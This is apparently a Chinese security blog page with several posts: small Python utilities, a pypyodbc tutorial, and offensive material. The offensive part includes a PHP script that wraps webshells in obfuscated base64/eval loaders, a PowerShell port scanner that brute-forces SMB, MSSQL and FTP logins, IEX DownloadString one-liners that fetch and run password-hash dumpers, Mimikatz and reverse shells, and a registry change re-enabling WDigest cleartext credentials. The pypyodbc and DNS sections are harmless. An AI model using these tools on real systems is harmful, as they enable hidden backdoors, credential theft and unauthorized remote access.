    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Connect error.\r\n");  
        return(0);  
    }  
    return(1);  
}  
  
void makelog(char *buffer,int length)  
{  
    if (0 == length)  
    {  
        length = strlen(buffer);  
    }  
  
    if (fp != NULL)  
    {  
        _write(_fileno(fp),buffer,length);  
    }  
}  
  
void getctrlc(int j)  
{  
    printf("\r\n[-] Received Ctrl+C\r\n");  
    closeallfd();  
    exit(0);  
}  
  
void closeallfd()  
{  
    int i;  
  
    printf("[+] Let me exit ......\r\n");  
    fflush(stdout);  
  
    for(i=3; i<256; i++)  
    {  
        closesocket(i);  
    }  
  
    if(fp != NULL)  
    {  
        fprintf(fp,"\r\n====== Exit ======\r\n");  
        fclose(fp);  
    }  
  
    printf("[+] All Right!\r\n");  
}  

 

python 域名转IP

发布时间:July 2, 2015 // 分类:运维工作,工作日志,开发笔记,代码学习,linux,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

about pypyodbc

发布时间:June 26, 2015 // 分类:工作日志,运维工作,代码学习,linux,转帖文章,windows,python // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

php 后门加密代码

发布时间:June 17, 2015 // 分类:运维工作,工作日志,PHP,linux,转帖文章,windows // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

powershell学习笔记

发布时间:June 16, 2015 // 分类:工作日志,运维工作,代码学习,转帖文章,windows // No Comments

1.前言

powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。

在win7/server 2008以后,powershell已被集成在系统当中

============================================

2.基础语法

有点和php一样呢。直接百度一个网站开始学习。。。

http://www.pstips.net/powershell-online-tutorials/

非常简单的学习了一些,来一个脑图:

另外需要说明的是如何加载ps脚本的问题:

方法1:powershell IEX (New-Object Net.WebClient).DownloadString('https://raxxxxx/xxx.ps1');

方法2: set-ExecutionPolicy RemoteSigned

Import-Module .\xxxxx.ps1 [导入模块]

================================

 

3.实例代码

学了不用等于白学,招了一个github 源码[https://github.com/samratashok/nishang/tree/master/Scan],

抄抄改改,写出一个端口扫描,并且支持ftp,smb和mssql爆破ps1脚本

代码:


function Port-Scan {
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $EndAddress,
        
        [string]
        $file,
        
        [int[]]
        $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
        
        [int]
        $TimeOut = 100
    )  
    Begin {
    $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
    
    #init Brute force SQL Server function
    $Connection = New-Object System.Data.SQLClient.SQLConnection

        
        
    $result=@()
    foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
        foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
        foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
            foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
            
            $ip="$a.$b.$c.$d"
            $pingStatus = $ping.Send($ip,$TimeOut)
            
            $openport=@()
            
            if($pingStatus.Status -eq "Success") {
                write-host "$ip is alive" -ForegroundColor red

                
            for($i = 1; $i -le $ports.Count;$i++) {
                    $port = $Ports[($i-1)]
                    $client = New-Object System.Net.Sockets.TcpClient
                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                    Start-Sleep -Milli $TimeOut
    
                    if($client.Connected) {                     
                        $openport += $port
                
                        write-host "$ip open $port" -ForegroundColor red     
                        "$ip open $port" | out-file -Append -filepath $file
                        }
                    
                    $client.Close()
                
                }
                
            $iphash=@{ip=$ip;ports=$openport}
            $result +=$iphash
            
            }
            }
        }
        }
    }
    
    foreach ($i in $result){
        foreach ($port in $i.ports){
            #brute smb
            $ip=$i.ip
            if($port -eq 445){
                Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                $conf=Get-Content 'conf\smb.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    
                    if (wmic /user:$username /password:$password /node:$ip process call create "") {
                        Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                        "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                        break
                    }else{
                        Write-Host "login smb to $ip with $username : $password is fail"
                    }
                }
                
            }
            #brute mssql
            if($port -eq 1433){
                Write-host "Brute Forcing SQL Service on $ip...."  -ForegroundColor Yellow
                $conf=Get-Content 'conf\mssql.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    $Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
                    Try
                    {
                        $Connection.Open()
                        $success = $true
                    }
                    Catch
                    {
                        $success = $false
                        Write-host "login mssql to $ip with $username : $password fail "
                    }
                    if($success -eq $true) 
                    {
                            Write-host "login mssql to $ip with $username : $Password  is successful" -ForegroundColor green
                            "login mssql to $ip with $username : $Password  is successful"| out-file -Append -filepath $file
                            Break
                    } 
                }
                
            }
            
            
            if($port -eq 21){
                Write-host "Brute Forcing ftp Service on $ip...."  -ForegroundColor Yellow
                $source = "ftp://" + $ip
    
                $conf=Get-Content 'conf\ftp.conf'
                foreach ($j in $conf){
                    Try 
                    {
                        $username=$j.Split(":")[0]
                        $password=$j.Split(":")[1]                
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-host "login ftp to $ip with $username : $password  is successful" -ForegroundColor green
                        "login ftp to $ip with $username : $password  is successful"| out-file -Append -filepath $file
                        break
                    }
                    Catch {
                    Write-host "login ftp to $ip with $username : $password fail "
                    }
                }
                

            }
            
            

        }
    }
    
    Write-host "put all into $file" -ForegroundColor red
    
    }
    
    
    
    
    End {
    }
}

效果:

bug:

1.代码是单线程的速度一定慢,不知道powershell要怎么去分配线程池

2.smb直接使用了wmic命令,当密码不对时候会显示一个错误,不知道如何去屏蔽不显示

代码没有没有进行服务指纹识别什么的,还是非常粗糙的

 

================================

4.一些很屌的powershell工具

4.1.获取hash

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

 

4.2.获取明文---Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 

4.3 nc---powercat

 

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

4.4----各种反弹shell

http:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1')

tcp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1')

udp:

IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1')

icmp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1')

 

来源:

https://github.com/samratashok/nishang

================================

 

5.结尾

资料来源:

https://github.com/samratashok/nishang/

http://x0day.me/

http://zone.wooyun.org/content/20429

Dumping WDigest Creds with Meterpreter Mimikatz/Kiwi in Windows 8.1

发布时间:June 11, 2015 // 分类:转帖文章,windows // No Comments

Many of us in the penetration testing world have come to love Benjamin Delpy’s (blog.gentilkiwi.com) mimikatz/kiwi modules which were ported to Metasploit by OJ Reeves and incorporated into the meterpreter shell. Among other capabilities, one of the most impactful features of these modules was the ability to extract a Windows user’s clear text password from the WDigest provider.

When Microsoft released Windows 8.1, they added some security features that effectively removed the ability of tools like mimikatz or WCE to dump clear text credentials from LSA memory.

Microsoft then backported those fixes in a security update (http://support.microsoft.com/kb/2871997) for Windows systems prior to 8.1. However, because WDigest is used by many products (e.g. IIS), Microsoft left the Wdigest provider enabled which is why our mimikatz/kiwi module can still obtain clear text passwords prior to Windows 8.1

Windows 8.1 introduced a registry setting that allows for disabling the storage of the user’s logon credential in clear text for the WDigest provider.

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)

Although the entry does not appear in the Windows 8.1 registry, the default setting for this DWORD value in 8.1 is “0” meaning that 8.1 does not store logon credentials in clear text in LSA memory for this SSP.

KB2871997 backported this registry setting to earlier Windows versions. When you install the hotfix, the registry setting will also not appear in earlier versions. These versions < 8.1 will default to “1” for the “UseLogonCredential” DWORD value.

So what happens on a Windows 8.1 system when we try to obtain the clear text password via a meterpreter shell using the mimikatz or kiwi modules?

The kiwi module is unable to obtain the clear text passwords from LSA memory.

But since we have administrative access, let’s change the registry setting by explicitly setting it to 1 in a Windows shell.

(reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1)

We refresh the regedit window to see the new value of “1” for UseLogonCredential.

Now, all we have to do is try to force, or wait for the user to either lock their screen or log off and then subsequently unlock their screen or log back in.

With the update to the registry, we should now be able to grab the clear text password from LSA memory.

Back in our meterpreter shell, we attempt the creds_wdigest again (might have to get a new meterpreter shell if the user logged off and back on).

References:

http://blog.gentilkiwi.com
http://blogs.technet.com/b/kfalde/archive/2014/11/01/kb2871997-and-wdigest-part-1.aspx

 

咱们来说人话。修改注册表 ,将 HKLM_LOCAL_MACHEINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"(需要添加该 项目)设置为1,类型为DWORD 32  就可以了,然后等管理员在线或者还没注销的时候,就可以用mimi抓取明文了。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...